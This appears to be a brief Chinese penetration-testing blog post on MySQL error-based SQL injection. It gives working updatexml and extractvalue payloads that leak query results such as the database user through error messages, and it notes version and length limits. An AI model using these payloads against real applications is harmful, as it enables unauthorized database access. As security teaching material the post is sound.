mysql报错注入函数

Posted 2020-11-27 郑俊杰

xpath处理函数报错注入：

updatexml(xml_doc,xpath,new_value)

利用xpath把xml文档中的指定字符串替换成新值。

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

extractvalue(xml_doc, xpath)

从指定xml文档中查询指定的字符串。

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

 

参数xpath需要的是xpath格式的字符串，不是就会报错，sql语句由内向外执行报错得到查询的信息

mysql 5.1.5版本中添加了对XML文档进行查询和修改的函数，所以MySQL 5.1.5版本以下的不能上述函数进行报错注入。

上述报错注入函数有字符限制，最长32位。

虚拟表主键重复报错注入：

详情见本人博客渗透测试系列。

渗透测试----SQL注入~web日志分析thinkphp漏洞及duplicate报错注入

原理参考链接：https://www.2cto.com/article/201604/498394.html